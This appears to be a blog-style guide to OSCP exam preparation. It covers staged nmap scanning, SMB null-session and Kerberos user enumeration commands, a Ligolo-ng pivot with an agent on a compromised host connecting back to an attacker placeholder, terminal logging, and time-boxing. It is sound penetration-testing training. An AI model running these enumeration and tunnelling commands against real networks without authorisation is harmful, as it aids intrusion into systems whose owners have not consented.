Beyond the Cheat Sheets: Fixing the Real Skill Gaps in OSCP Preparation

Most OSCP candidates do not fail because they lacked an obscure zero-day payload or didn’t memorize enough Metasploit modules. They fail because their enumeration is unstructured, their pivoting setup collapses halfway through an internal subnet, and they spend six hours digging down a rabbit hole without realized context.

Generic study guides focus on tool lists and privilege escalation cheat sheets. In a timed, multi-host practical exam, tools matter far less than operational discipline. If you cannot route traffic cleanly across dual-homed dual-subnet targets or re-trace your exact exploit steps from terminal logs, you will lose hours to self-inflicted confusion.

Here is how to structure your environment, technical workflow, and methodology to bridge the gap between passing lab machines and clearing the actual exam.

Step 1: Establish a Multi-Tiered Enumeration Protocol

The standard mistake is running a noisy all-ports Nmap scan, picking the first web server on port 80, and immediately firing off directory bruteforcing tools while ignoring every other service. When that web application turns out to be a decoy or a dead end, candidates panic.

Build a deterministic, multi-stage scan pipeline that separates quick visibility from deep protocol analysis.

Stage 1: Port Discovery

Do not run aggressive script scans across all 65,535 ports on the first pass. Run a fast port discovery scan first to establish your immediate targets, followed by targeted script enumeration.

# Fast initial discovery across all TCP ports
sudo nmap -p- --min-rate 1000 -sS --open -oN nmap_all_ports.txt <TARGET_IP>

Parse out the open ports from nmap_all_ports.txt and feed only those specific ports into a targeted service scan:

# Targeted service scan on discovered open ports
PORTS=$(grep -E '^[0-9]+' nmap_all_ports.txt | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
sudo nmap -p$PORTS -sC -sV -oA nmap_detailed <TARGET_IP>

Stage 2: Service-Specific Deep Dives

Set clear rules for what tools run against what ports before touching a browser:

• Port 80/443 (HTTP/HTTPS): Run feroxbuster with specific extensions, avoiding broad wordlists that generate 100,000 status 403 responses.

  feroxbuster -u http://<TARGET_IP> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt,json -k -o ferox_80.log

• Port 139/445 (SMB): Check null sessions and guest access instantly across all shares.

  crackmapexec smb <TARGET_IP> -u '' -p '' --shares
  smbclient -L //<TARGET_IP>/ -U "" -N

• Port 88/389 (Kerberos/LDAP): In Active Directory environments, immediately attempt Kerberoasting and user enumeration before attacking web interfaces.

  GetADUsers.py -all -no-pass -dc-ip <DC_IP> <DOMAIN>/
  kerbrute userenum --dc <DC_IP> -d <DOMAIN> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Step 2: Master Modern Tunneling with Ligolo-ng

Older exam tutorials still advocate for Proxychains paired with SSH dynamic port forwarding (ssh -D 1080) or Chisel. While functional, Proxychains is notoriously slow with multi-threaded tools like Nmap or Feroxbuster and breaks tools relying on full ICMP/UDP capabilities.

Ligolo-ng creates a dedicated TUN interface on your attack machine, allowing you to route traffic directly to the internal subnet as if you were physically connected to it.

Setting Up the Proxy (Attacker System)

1. Create and enable the TUN interface on your Kali machine:

   sudo ip tuntap add user $(whoami) mode tun ligolo
   sudo ip link set dev ligolo up

2. Launch the Ligolo proxy server listening on your control port (e.g., 11601):

   ./proxy -ingress-listen 0.0.0.0:11601 -listen 0.0.0.0:443

Executing the Agent (Compromised Dual-Homed Target)

Transfer the compiled agent binary to the compromised machine and connect back:

:: On Windows Target
agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert

Routing Traffic

Back in your proxy terminal console on Kali:

1. Select the connected session:

   session
   # Select the active session ID (e.g., 1)

2. Add the target internal subnet route directly to your host OS in a separate terminal:

   sudo ip route add 172.16.50.0/24 dev ligolo

3. Start the tunnel in the Ligolo console:

   start

You can now run standard tools (nmap, crackmapexec, browser traffic) directly against 172.16.50.x without prefixing commands with proxychains.

Step 3: Implement Deterministic Session Logging

Failing an exam because you forgot to capture a flag screenshot or lost the precise sequence of steps required to reproduce an exploit is entirely preventable. Relying on standard terminal scrollback is a critical error.

Set up automatic, timestamped terminal logging before launching any attack steps.

Add this function to your ~/.bashrc or ~/.zshrc:

start_exam_logging() {
    LOG_DIR="$HOME/exam_logs/$(date +%Y-%m-%d)"
    mkdir -p "$LOG_DIR"
    exec script -f -q "$LOG_DIR/session_$(date +%H%M%S).log"
}

Every terminal session will output raw text—including standard error and stdout—to a dedicated file. When you need to document your privilege escalation vector six hours later, you can grep your log files for exact commands and responses:

grep -rn "proof.txt" ~/exam_logs/

Organize your working directory strictly by IP address:

~/exam/
├── 192.168.1.10/
│   ├── scans/
│   ├── exploits/
│   ├── loot/
│   └── proof.txt
└── 192.168.1.11/
    ├── scans/
    └── proof.txt

Step 4: Enforce the 45-Minute Context Reset

The biggest psychological trap in practical exams is hyper-fixation. Candidates spend four hours trying to bypass a Web Application Firewall or tweaking a local privilege escalation exploit that was never intended to work.

Implement a strict time-boxing heuristic:

1. Set a 45-minute timer the moment you begin testing a specific attack vector (e.g., SQL injection on a specific parameter, or a specific kernel exploit).
2. If you hit 45 minutes without a tangible state change (such as credential disclosure, arbitrary file read, or code execution), you must stop.
3. Perform a hard context reset:
   • Re-verify your initial port scans. Did you miss a non-standard port like 8080, 8443, or 5985 (WinRM)?
   • Inspect unexamined services. Did you thoroughly check SMB, SNMP, or RPC before going deep on HTTP?
   • Clear your terminal, open your structured notes, and write a single sentence summarizing why the current vector failed before moving to the next unexamined service.

By treating pivoting, logging, and enumeration as mechanical processes rather than improvised actions, you eliminate the friction that causes time-pressured failures. Practice these steps on lab networks until the commands and network setups require no conscious deliberation.